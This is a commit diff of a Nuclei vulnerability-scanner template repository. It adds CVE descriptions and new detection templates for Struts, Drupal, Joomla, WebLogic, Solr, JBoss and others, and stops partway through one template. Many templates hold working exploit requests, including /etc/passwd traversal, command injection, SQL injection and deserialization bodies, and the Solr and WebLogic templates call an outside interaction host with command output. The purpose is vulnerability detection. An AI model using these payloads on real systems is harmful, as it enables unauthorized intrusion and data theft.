strict matcher

Added zenario-login-panel

.github/workflows/syntax-checking.yml

@@ -1,4 +1,4 @@
-name: syntax-checking
+name: ❄️ YAML Lint
 
 on: [push, pull_request]
 

.github/workflows/update-readme.yml

@@ -1,4 +1,4 @@
-name: "Auto Update README"
+name: 📝 Readme Update
 
 on:
   push:

.nuclei-ignore

@@ -8,7 +8,6 @@
 # unless asked for by the user.
 
 tags: 
-  - "headless"
   - "dos"
   - "iot"
   - "misc"

README.md

@@ -38,13 +38,13 @@ An overview of the nuclei template directory including number of templates assoc
 
 | Templates        | Counts                         | Templates       | Counts                          | Templates      | Counts                       |
 | ---------------- | ------------------------------ | --------------- | ------------------------------- | -------------- | ---------------------------- |
-| cves             | 282           | vulnerabilities | 128 | exposed-panels | 120 |
-| takeovers        | 67        | exposures       | 78       | technologies   | 63   |
-| misconfiguration | 55 | workflows       | 30         | miscellaneous  | 20  |
-| default-logins   | 22 | exposed-tokens  | 0  | dns            | 8            |
-| fuzzing          | 8          | helpers         | 7         | iot            | 11            |
+| cves             | 325           | vulnerabilities | 176 | exposed-panels | 144 |
+| takeovers        | 67        | exposures       | 105       | technologies   | 97   |
+| misconfiguration | 66 | workflows       | 31         | miscellaneous  | 22  |
+| default-logins   | 30 | exposed-tokens  | 0  | dns            | 9            |
+| fuzzing          | 9          | helpers         | 8         | iot            | 12            |
 
-**99 directories, 975 files**.
+**110 directories, 1189 files**.
 
 </td>
 </tr>

cves/2005/CVE-2005-2428.yaml

@@ -4,6 +4,10 @@ info:
   author: CasperGN
   severity: medium
   tags: cve,cve2005
+  description: Lotus Domino R5 and R6 WebMail, with "Generate HTML for all fields" enabled, stores sensitive data from names.nsf in hidden form fields, which allows remote attackers to read the HTML source to obtain sensitive information such as (1) the password hash in the HTTPPassword field, (2) the password change date in the HTTPPasswordChangeDate field, (3) the client platform in the ClntPltfrm field, (4) the client machine name in the ClntMachine field, and (5) the client Lotus Domino release in the ClntBld field, a different vulnerability than CVE-2005-2696.
+  reference: |
+    - http://www.cybsec.com/vuln/default_configuration_information_disclosure_lotus_domino.pdf
+    - https://www.exploit-db.com/exploits/39495
 
 requests:
   - method: GET

cves/2007/CVE-2007-4556.yaml

@@ -4,6 +4,7 @@ info:
   name: Apache Struts2 S2-001 RCE
   author: pikpikcu
   severity: critical
+  description: Struts support in OpenSymphony XWork before 1.2.3, and 2.x before 2.0.4, as used in WebWork and Apache Struts, recursively evaluates all input as an Object-Graph Navigation Language (OGNL) expression when altSyntax is enabled, which allows remote attackers to cause a denial of service (infinite loop) or execute arbitrary code via form input beginning with a "%{" sequence and ending with a "}" character.
   reference: https://www.guildhab.top/?p=2326
   tags: cve,cve2007,apache,rce,struts
 

cves/2008/CVE-2008-2398.yaml

@@ -4,6 +4,8 @@ info:
   name: AppServ Open Project 2.5.10 and earlier XSS
   author: unstabl3
   severity: medium
+  description: Cross-site scripting (XSS) vulnerability in index.php in AppServ Open Project 2.5.10 and earlier allows remote attackers to inject arbitrary web script or HTML via the appservlang parameter.
+  reference: https://exchange.xforce.ibmcloud.com/vulnerabilities/42546
   tags: cve,cve2008,xss
 
 requests:

cves/2008/CVE-2008-2650.yaml

@@ -3,6 +3,8 @@ info:
   name: CMSimple 3.1 - Local File Inclusion
   author: pussycat0x
   severity: high
+  description: |
+    Directory traversal vulnerability in cmsimple/cms.php in CMSimple 3.1, when register_globals is enabled, allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the sl parameter to index.php. NOTE: this can be leveraged for remote file execution by including adm.php and then invoking the upload action. NOTE: on 20080601, the vendor patched 3.1 without changing the version number.
   reference: https://www.exploit-db.com/exploits/5700
   tags: cve,cve2008,lfi
 requests:

cves/2009/CVE-2009-0545.yaml

@@ -0,0 +1,20 @@
+id: CVE-2009-0545
+
+info:
+  name: ZeroShell <= 1.0beta11 Remote Code Execution
+  author: geeknik
+  description: cgi-bin/kerbynet in ZeroShell 1.0beta11 and earlier allows remote attackers to execute arbitrary commands via shell metacharacters in the type parameter in a NoAuthREQ x509List action.
+  reference: https://www.exploit-db.com/exploits/8023
+  severity: critical
+  tags: cve,cve2009,zeroshell,kerbynet,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22"
+
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - "root:[x*]:0:0:"

cves/2009/CVE-2009-1151.yaml

@@ -7,7 +7,7 @@ info:
   description: Setup script used to generate configuration can be fooled using a crafted POST request to include arbitrary PHP code in generated configuration file. Combined with ability to save files on server, this can allow unauthenticated users to execute arbitrary PHP code.
   reference: https://www.phpmyadmin.net/security/PMASA-2009-3/
   vulhub: https://github.com/vulhub/vulhub/tree/master/phpmyadmin/WooYun-2016-199433
-  tags: phpmyadmin,rce,deserialization
+  tags: cve,cve2009,phpmyadmin,rce,deserialization
 
 requests:
   - raw:

cves/2010/CVE-2010-2861.yaml

@@ -4,7 +4,10 @@ info:
   name: Adobe ColdFusion 8.0/8.0.1/9.0/9.0.1 LFI
   author: pikpikcu
   severity: high
-  reference: https://github.com/vulhub/vulhub/tree/master/coldfusion/CVE-2010-2861
+  description: Multiple directory traversal vulnerabilities in the administrator console in Adobe ColdFusion 9.0.1 and earlier allow remote attackers to read arbitrary files via the locale parameter to (1) CFIDE/administrator/settings/mappings.cfm, (2) logging/settings.cfm, (3) datasources/index.cfm, (4) j2eepackaging/editarchive.cfm, and (5) enter.cfm in CFIDE/administrator/.
+  reference: |
+    - https://github.com/vulhub/vulhub/tree/master/coldfusion/CVE-2010-2861
+    - http://www.adobe.com/support/security/bulletins/apsb10-18.html
   tags: cve,cve2010,coldfusion,lfi
 
 requests:

cves/2011/CVE-2011-0049.yaml

@@ -4,10 +4,11 @@ info:
   name: Majordomo2 - SMTP/HTTP Directory Traversal
   author: pikpikcu
   severity: high
+  description: Directory traversal vulnerability in the _list_file_get function in lib/Majordomo.pm in Majordomo 2 before 20110131 allows remote attackers to read arbitrary files via .. (dot dot) sequences in the help command, as demonstrated using (1) a crafted email and (2) cgi-bin/mj_wwwusr in the web interface.
   reference: |
     - https://www.exploit-db.com/exploits/16103
     - https://nvd.nist.gov/vuln/detail/CVE-2011-0063
-    - https://nvd.nist.gov/vuln/detail/CVE-2011-0049
+    - http://www.kb.cert.org/vuls/id/363726
   tags: cve,cve2011,majordomo2,lfi
 
 requests:

cves/2012/CVE-2012-0392.yaml

@@ -4,6 +4,7 @@ info:
   name: Apache Struts2 S2-008 RCE
   author: pikpikcu
   severity: critical
+  description: The CookieInterceptor component in Apache Struts before 2.3.1.1 does not use the parameter-name whitelist, which allows remote attackers to execute arbitrary commands via a crafted HTTP Cookie header that triggers Java code execution through a static method.
   reference: https://blog.csdn.net/weixin_43416469/article/details/113850545
   tags: cve,cve2012,apache,rce,struts
 

cves/2013/CVE-2013-1965.yaml

@@ -4,7 +4,8 @@ info:
   name: Apache Struts2 S2-012 RCE
   author: pikpikcu
   severity: critical
-  reference: https://nvd.nist.gov/vuln/detail/CVE-2013-1965
+  description: Apache Struts Showcase App 2.0.0 through 2.3.13, as used in Struts 2 before 2.3.14.3, allows remote attackers to execute arbitrary OGNL code via a crafted parameter name that is not properly handled when invoking a redirect.
+  reference: http://struts.apache.org/development/2.x/docs/s2-012.html
   tags: cve,cve2013,apache,rce,struts
 
 requests:

cves/2013/CVE-2013-2251.yaml

@@ -5,6 +5,7 @@ info:
   author: exploitation & @dwisiswant0
   severity: critical
   description: In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.
+  reference: http://struts.apache.org/release/2.3.x/docs/s2-016.html
   tags: cve,cve2013,rce,struts,apache
 
 requests:

cves/2014/CVE-2014-2321.yaml

@@ -0,0 +1,29 @@
+id: CVE-2014-2321
+
+info:
+  name: ZTE Cable Modem Web Shell
+  description: web_shell_cmd.gch on ZTE F460 and F660 cable modems allows remote attackers to obtain administrative access via sendcmd requests, as demonstrated by using "set TelnetCfg" commands to enable a TELNET service with specified credentials.
+  author: geeknik
+  reference:
+    - https://yosmelvin.wordpress.com/2017/09/21/f660-modem-hack/
+    - https://jalalsela.com/zxhn-h108n-router-web-shell-secrets/
+  severity: high
+  tags: iot,cve,cve2014,zte
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/web_shell_cmd.gch"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "please input shell command"
+          - "ZTE Corporation. All rights reserved"
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200

cves/2014/CVE-2014-3120.yaml

@@ -4,7 +4,11 @@ info:
   name: ElasticSearch v1.1.1/1.2 RCE
   author: pikpikcu
   severity: critical
-  reference: https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120
+  description: |
+    The default configuration in Elasticsearch before 1.2 enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code via the source parameter to _search. NOTE: this only violates the vendor's intended security policy if the user does not run Elasticsearch in its own independent virtual machine.
+  reference: |
+    - https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120
+    - https://www.elastic.co/blog/logstash-1-4-3-released
   tags: cve,cve2014,elastic,rce
 
 requests:

cves/2014/CVE-2014-3704.yaml

@@ -0,0 +1,32 @@
+id: CVE-2014-3704
+info:
+  name: Drupal Sql Injetion
+  author: princechaddha
+  severity: high
+  description: The expandArguments function in the database abstraction API in Drupal core 7.x before 7.32 does not properly construct prepared statements, which allows remote attackers to conduct SQL injection attacks via an array containing crafted keys.
+  reference: |
+    - https://www.drupal.org/SA-CORE-2014-005
+    - http://www.exploit-db.com/exploits/34984
+    - http://www.exploit-db.com/exploits/34992
+    - http://www.exploit-db.com/exploits/34993
+    - http://www.exploit-db.com/exploits/35150
+  tags: cve,cve2014,drupal,sqli
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/?q=node&destination=node"
+    body: 'pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0x23,concat(1,md5(1234567890)),1)%23]=bob&name[0]=a'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 500
+
+      - type: word
+        words:
+          - "PDOException"
+          - "e807f1fcf82d132f9bb018ca6738a19f"
+        condition: and
+        part: body

cves/2014/CVE-2014-3744.yaml

@@ -0,0 +1,25 @@
+id: CVE-2014-3744
+
+info:
+  name: Node.js st module Directory Traversal
+  author: geeknik
+  description: Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary files via a %2e%2e (encoded dot dot) in an unspecified path.
+  reference: |
+    - https://github.com/advisories/GHSA-69rr-wvh9-6c4q
+    - https://snyk.io/vuln/npm:st:20140206
+  severity: high
+  tags: cve,cve2014,lfi,nodejs,st
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"

cves/2014/CVE-2014-4210.yaml

@@ -0,0 +1,29 @@
+id: CVE-2014-4210
+
+info:
+  name: Weblogic SSRF in SearchPublicRegistries.jsp
+  author: princechaddha
+  severity: medium
+  tags: cve,cve2014,weblogic,oracle,ssrf
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2014-4210
+      - https://blog.gdssecurity.com/labs/2015/3/30/weblogic-ssrf-and-xss-cve-2014-4241-cve-2014-4210-cve-2014-4.html
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.1.1.1:700"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "Connection refused"
+          - "Socket Closed"
+          - "content-type: unknown/unknown"
+        part: body
+        condition: or

cves/2014/CVE-2014-6271.yaml

@@ -5,6 +5,9 @@ info:
   author: pentest_swissky
   severity: high
   description: Attempts to exploit the "shellshock" vulnerability (CVE-2014-6271 and CVE-2014-7169) in web applications
+  reference: |
+    - http://www.kb.cert.org/vuls/id/252743
+    - http://www.us-cert.gov/ncas/alerts/TA14-268A
   tags: cve,cve2014,rce
 
 requests:

cves/2015/CVE-2015-1427.yaml

@@ -4,7 +4,10 @@ info:
   name: ElasticSearch 1.4.0/1.4.2 RCE
   author: pikpikcu
   severity: critical
-  reference: https://blog.csdn.net/JiangBuLiu/article/details/94457980
+  description: The Groovy scripting engine in Elasticsearch before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script.
+  reference: |
+    - https://blog.csdn.net/JiangBuLiu/article/details/94457980
+    - http://www.elasticsearch.com/blog/elasticsearch-1-4-3-1-3-8-released/
   tags: cve,cve2015,elastic,rce
 
 requests:

cves/2015/CVE-2015-2080.yaml

@@ -4,9 +4,13 @@ info:
   name: Eclipse Jetty Remote Leakage
   author: pikpikcu
   severity: medium
-  reference: https://nvd.nist.gov/vuln/detail/CVE-2015-2080
+  reference: |
+    - https://github.com/eclipse/jetty.project/blob/jetty-9.2.x/advisories/2015-02-24-httpparser-error-buffer-bleed.md
+    - https://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html
+    - http://packetstormsecurity.com/files/130567/Jetty-9.2.8-Shared-Buffer-Leakage.html
   description: |
        The exception handling code in Eclipse Jetty before 9.2.9.v20150224 allows remote attackers to obtain sensitive information from process memory via illegal characters in an HTTP header, aka JetLeak
+  tags: cve,cve2015,jetty
 
 requests:
   - method: POST

cves/2015/CVE-2015-3337.yaml

@@ -5,7 +5,7 @@ info:
  author: pdteam
  severity: high
  description: Directory traversal vulnerability in Elasticsearch before 1.4.5 and 1.5.x before 1.5.2, when a site plugin is enabled, allows remote attackers to read arbitrary files via unspecified vectors.
- reference: https://nvd.nist.gov/vuln/detail/CVE-2015-3337
+ reference: https://www.exploit-db.com/exploits/37054/
  tags: cve,cve2015,elastic,lfi
 
 requests:

cves/2015/CVE-2015-7297.yaml

@@ -0,0 +1,19 @@
+id: CVE-2015-7297
+info:
+  name: Joomla Core SQL Injection
+  author: princechaddha
+  severity: high
+  description: SQL injection vulnerability in Joomla 3.2 before 3.4.4 allows remote attackers to execute arbitrary SQL commands.
+  reference: http://developer.joomla.org/security-centre/628-20151001-core-sql-injection.html
+  tags: cve,cve2015,joomla,sqli
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=updatexml(0x23,concat(1,md5(8888)),1)"
+
+    matchers:
+      - type: word
+        words:
+          - "cf79ae6addba60ad018347359bd144d2"
+        part: body

cves/2015/CVE-2015-8399.yaml

@@ -0,0 +1,25 @@
+id: CVE-2015-8399
+info:
+  author: princechaddha
+  name: Atlassian Confluence configuration files read
+  severity: medium
+  description: Atlassian Confluence before 5.8.17 allows remote authenticated users to read configuration files via the decoratorName parameter to (1) spaces/viewdefaultdecorator.action or (2) admin/viewdefaultdecorator.action.
+  reference: https://jira.atlassian.com/browse/CONFSERVER-39704?src=confmacro
+  tags: cve,cve2015,atlassian,confluence
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/spaces/viewdefaultdecorator.action?decoratorName"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "confluence-init.properties"
+          - "View Default Decorator"
+        condition: and
+        part: body

cves/2016/CVE-2016-10033.yaml

@@ -3,6 +3,7 @@ info:
   name: Wordpress 4.6 Remote Code Execution
   author: princechaddha
   severity: high
+  description: The mailSend function in the isMail transport in PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a \" (backslash double quote) in a crafted Sender property.
   reference: https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
   tags: wordpress,cve,cve2016,rce
 
@@ -36,7 +37,6 @@ requests:
         part: body
         regex:
           - 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>'
-          - 'ocation: https:\/\/[a-z0-9.]+\/author\/([a-z]+)\/'
 
     matchers-condition: and
     matchers:

cves/2016/CVE-2016-3081.yaml

@@ -4,7 +4,11 @@ info:
   name: Apache S2-032 Struts RCE
   author: dhiyaneshDK
   severity: high
-  reference: https://cwiki.apache.org/confluence/display/WW/S2-032
+  description: |
+    Apache Struts 2.3.19 to 2.3.20.2, 2.3.21 to 2.3.24.1, and 2.3.25 to 2.3.28, when Dynamic Method Invocation is enabled, allow remote attackers to execute arbitrary code via method: prefix, related to chained expressions.
+  reference: |
+    - https://cwiki.apache.org/confluence/display/WW/S2-032
+    - https://struts.apache.org/docs/s2-032.html
   tags: cve,cve2016,struts,rce,apache
 
 requests:

cves/2016/CVE-2016-7552.yaml

@@ -4,6 +4,7 @@ info:
   name: Trend Micro Threat Discovery Appliance Auth Bypass via Directory Traversal
   author: dwisiswant0
   severity: critical
+  description: On the Trend Micro Threat Discovery Appliance 2.6.1062r1, directory traversal when processing a session_id cookie allows a remote, unauthenticated attacker to delete arbitrary files as root. This can be used to bypass authentication or cause a DoS.
   reference: https://gist.github.com/malerisch/5de8b408443ee9253b3954a62a8d97b4
   tags: cve,cve2016,lfi
 

cves/2017/CVE-2017-1000486.yaml

@@ -0,0 +1,33 @@
+id: CVE-2017-1000486
+
+info:
+  name: Primetek Primefaces 5.x EL Injection - RCE
+  author: Moritz Nentwig
+  severity: critical
+  description: Primetek Primefaces 5.x is vulnerable to a weak encryption flaw resulting in remote code execution
+  reference: |
+      - https://github.com/mogwailabs/CVE-2017-1000486
+      - https://github.com/pimps/CVE-2017-1000486
+      - https://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-1000486
+  tags: cve,cve2017,primetek,rce
+
+requests:
+  - raw:
+      - |
+        POST /javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Content-Length: 160
+        Accept: */*
+        Accept-Language: en
+        Content-Type: application/x-www-form-urlencoded
+        Accept-Encoding: gzip, deflate
+
+        pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVbBkVHj5xLXXCaFGpOHe704aOkNwaB12Cc3Iq6NmBo%2BQZuqhqtPxdTA%3D%3D
+
+    matchers:
+      - type: word
+        words:
+          - 'Mogwailabs: CHECKCHECK'
+        part: header

cves/2017/CVE-2017-12149.yaml

@@ -0,0 +1,39 @@
+id: CVE-2017-12149
+
+info:
+  name: Java/Jboss Deserialization [RCE]
+  author: fopina
+  severity: critical
+  description: In Jboss Application Server as shipped with Red Hat Enterprise Application Platform 5.2, it was found that the doFilter method in the ReadOnlyAccessFilter of the HTTP Invoker does not restrict classes for which it performs deserialization and thus allowing an attacker to execute arbitrary code via crafted serialized data.
+  reference: |
+        - https://nvd.nist.gov/vuln/detail/CVE-2017-12149
+        - https://chowdera.com/2020/12/20201229190934023w.html
+        - https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-12149
+  tags: cve,cve2017,java,rce,deserialization
+
+requests:
+  - raw:
+      - |
+        POST /invoker/JMXInvokerServlet/ HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/octet-stream
+
+        {{ base64_decode("rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==") }}
+      - |
+        POST /invoker/EJBInvokerServlet/ HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/octet-stream
+
+        {{ base64_decode("rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==") }}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "ClassCastException"
+        part: body
+
+      - type: word
+        words:
+          - "application/x-java-serialized-object"
+        part: header

cves/2017/CVE-2017-12629.yaml

@@ -0,0 +1,26 @@
+id: CVE-2017-12629
+
+info:
+  name: Apache Solr <= 7.1 Remote Code Execution via SSRF
+  author: dwisiswant0
+  severity: critical
+  tags: cve,cve2017,solr,apache,rce,ssrf,oob
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-12629
+      - https://twitter.com/honoki/status/1298636315613974532/photo/1
+
+requests:
+  - raw:
+      - |
+        GET /solr/select?qt=%2Fconfig%2523%26&shards=127.0.0.1:8984/solq&stream.body=%7B%22add-listener%22%3A%7B%22event%22%3A%22postCommit%22%2C%22name%22%3A%22nuclei%22%2C%22class%22%3A%22solr.RunExecutableListener%22%2C%22exe%22%3A%22sh%22%2C%22dir%22%3A%22%2Fbin%2F%22%2C%22args%22%3A%5B%22-c%22%2C%22%24%40%7Csh%22%2C%22.%22%2C%22echo%22%2C%22nslookup%22%2C%22%24%28whoami%29.{{interactsh-url}}%22%5D%7D%7D&wt=json&isShard=true&q=apple HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        GET /solr/select?shards=127.0.0.1:8984/solr/update%23&commit=true HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the DNS Interaction
+        words:
+          - "dns"

cves/2017/CVE-2017-14535.yaml

@@ -0,0 +1,32 @@
+id: CVE-2017-14535
+
+info:
+  name: Trixbox - 2.8.0.4 OS Command Injection Vulnerability
+  author: pikpikcu
+  severity: high
+  reference: |
+        - https://secur1tyadvisory.wordpress.com/2018/02/11/trixbox-os-command-injection-vulnerability-cve-2017-14535/
+        - https://www.exploit-db.com/exploits/49913
+  tags: cve,cve2017,trixbox,rce
+
+requests:
+  - raw:
+      - |
+        GET /maint/modules/home/index.php?lang=english|cat%20/etc/passwd HTTP/1.1
+        Host: {{Hostname}}
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+        Accept-Language: de,en-US;q=0.7,en;q=0.3
+        Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
+        Connection: close
+        Cache-Control: max-age=0
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2017/CVE-2017-15715.yaml

@@ -0,0 +1,45 @@
+id: CVE-2017-15715
+
+info:
+  name: Apache Arbitrary File Upload
+  author: geeknik
+  description: In Apache httpd 2.4.0 to 2.4.29, the expression specified in <FilesMatch> could match '$' to a newline character in a malicious filename, rather than matching only the end of the filename. This could be exploited in environments where uploads of some files are are externally blocked, but only by matching the trailing portion of the filename.
+  reference: https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2017-15715
+  severity: high
+  tags: cve,cve2017,apache,httpd,fileupload
+
+requests:
+  - raw:
+      - |
+        POST / HTTP/1.1
+        Host: {{Hostname}}
+        Content-Length: 264
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKc8fBVDo558U4hbJ
+        Accept-Encoding: gzip, deflate
+        Connection: close
+
+        ------WebKitFormBoundaryKc8fBVDo558U4hbJ
+        Content-Disposition: form-data; name="file"; filename="{{randstr}}.php"
+
+        {{randstr_1}}
+
+        ------WebKitFormBoundaryKc8fBVDo558U4hbJ
+        Content-Disposition: form-data; name="name"
+
+        {{randstr}}.php\x0A
+        ------WebKitFormBoundaryKc8fBVDo558U4hbJ--
+
+      - |
+        GET /{{randstr}}.php\x0A HTTP/1.1
+        Host: {{Hostname}}
+        Accept-Encoding: gzip,deflate
+        Accept: */*
+        Accept-Language: en
+        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+        Connection: close
+
+    req-condition: true
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body_2, "{{randstr_1}}")'

cves/2017/CVE-2017-3506.yaml

@@ -0,0 +1,44 @@
+id: CVE-2017-3506
+
+info:
+  name: Oracle Weblogic Remote OS Command Execution
+  author: pdteam
+  description: Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (Web Services). Supported versions that are affected are 10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1 and 12.2.1.2. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server.
+  severity: high
+  tags: cve,cve2017,weblogic,oracle,rce,oob
+  reference: |
+      - https://hackerone.com/reports/810778
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-3506
+
+requests:
+  - raw:
+      - |
+        POST /wls-wsat/RegistrationRequesterPortType HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: text/xml
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0,
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8,
+        Content-Type: text/xml;charset=UTF-8
+        Content-Length: 873
+
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
+          <soapenv:Header>
+            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
+              <java version="1.8" class="java.beans.XMLDecoder">
+                <void id="url" class="java.net.URL">
+                  <string>http://{{interactsh-url}}</string>
+                </void>
+                <void idref="url">
+                  <void id="stream" method ="openStream"/>
+                </void>
+              </java>
+            </work:WorkContext>
+            </soapenv:Header>
+          <soapenv:Body/>
+        </soapenv:Envelope>
+
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the DNS Interaction
+        words:
+          - "dns"

cves/2017/CVE-2017-3528.yaml

@@ -0,0 +1,21 @@
+id: CVE-2017-3528
+
+info:
+  name: Oracle E-Business Suite 12.1.3/12.2.x - Open Redirect
+  author: 0x_Akoko
+  severity: low
+  reference: |
+      - https://blog.zsec.uk/cve-2017-3528/
+      - https://www.exploit-db.com/exploits/43592
+  tags: oracle,redirect
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/OA_HTML/cabo/jsps/a.jsp?_t=fredRC&configName=&redirect=%2f%5cexample.com"
+
+    matchers:
+      - type: word
+        words:
+          - 'noresize src="/\example.com?configName='
+        part: body

cves/2017/CVE-2017-5521.yaml

@@ -0,0 +1,27 @@
+id: CVE-2017-5521
+info:
+  name: Bypassing Authentication on NETGEAR Routers
+  author: princechaddha
+  severity: medium
+  description: An issue was discovered on NETGEAR R8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900, and R8000 devices.They are prone to password disclosure via simple crafted requests to the web management server.
+  reference: |
+    - https://www.cvedetails.com/cve/CVE-2017-5521/
+    - https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cve-2017-5521-bypassing-authentication-on-netgear-routers/
+  tags: cve,cve2017,auth-bypass
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/passwordrecovered.cgi?id=nuclei"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "right\">Router\\s*Admin\\s*Username<"
+          - "right\">Router\\s*Admin\\s*Password<"
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200

cves/2017/CVE-2017-7269.yaml

@@ -1,25 +1,31 @@
 id: CVE-2017-7269
 
 info:
-  name: CVE-2017-7269
-  author: thomas_from_offensity
+  name: Windows Server 2003 & IIS 6.0 RCE
+  author: thomas_from_offensity & @geeknik
   severity: critical
-  description: RCE - Buffer overflow in ScStoragePathFromUrl function (WebDAV service - IIS 6.0) - Windows Server 2003 R2
-  reference: https://github.com/danigargu/explodingcan/blob/master/explodingcan.py
+  description: Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning with "If <http://" in a PROPFIND request.
+  reference:
+    - https://blog.0patch.com/2017/03/0patching-immortal-cve-2017-7269.html
+    - https://github.com/danigargu/explodingcan/blob/master/explodingcan.py
+  tags: cve,cve2017,rce
 
 requests:
   - method: OPTIONS
     path:
       - "{{BaseURL}}"
+
     matchers-condition: and
     matchers:
       - type: status
         status:
           - 200
+
       - type: word
         words:
           - "IIS/6.0"
         part: header
+
       - type: dsl
         dsl:
           - regex("<DAV:sql>", dasl)    # lowercase header name: DASL
@@ -27,4 +33,4 @@ requests:
           - regex(".*?PROPFIND", public)    # lowercase header name: Public
           - regex(".*?PROPFIND", allow)    # lowercase header name: Allow
         condition: or
-        part: header
+        part: header

cves/2017/CVE-2017-8917.yaml

@@ -0,0 +1,19 @@
+id: CVE-2017-8917
+info:
+  name: Joomla SQL Injection
+  author: princechaddha
+  severity: high
+  description: SQL injection vulnerability in Joomla! 3.7.x before 3.7.1 allows attackers to execute arbitrary SQL commands via unspecified vectors.
+  reference: https://www.cvedetails.com/cve/CVE-2017-8917/
+  tags: cve,cve2017,joomla,sqli
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,md5(8888)),1)"
+
+    matchers:
+      - type: word
+        words:
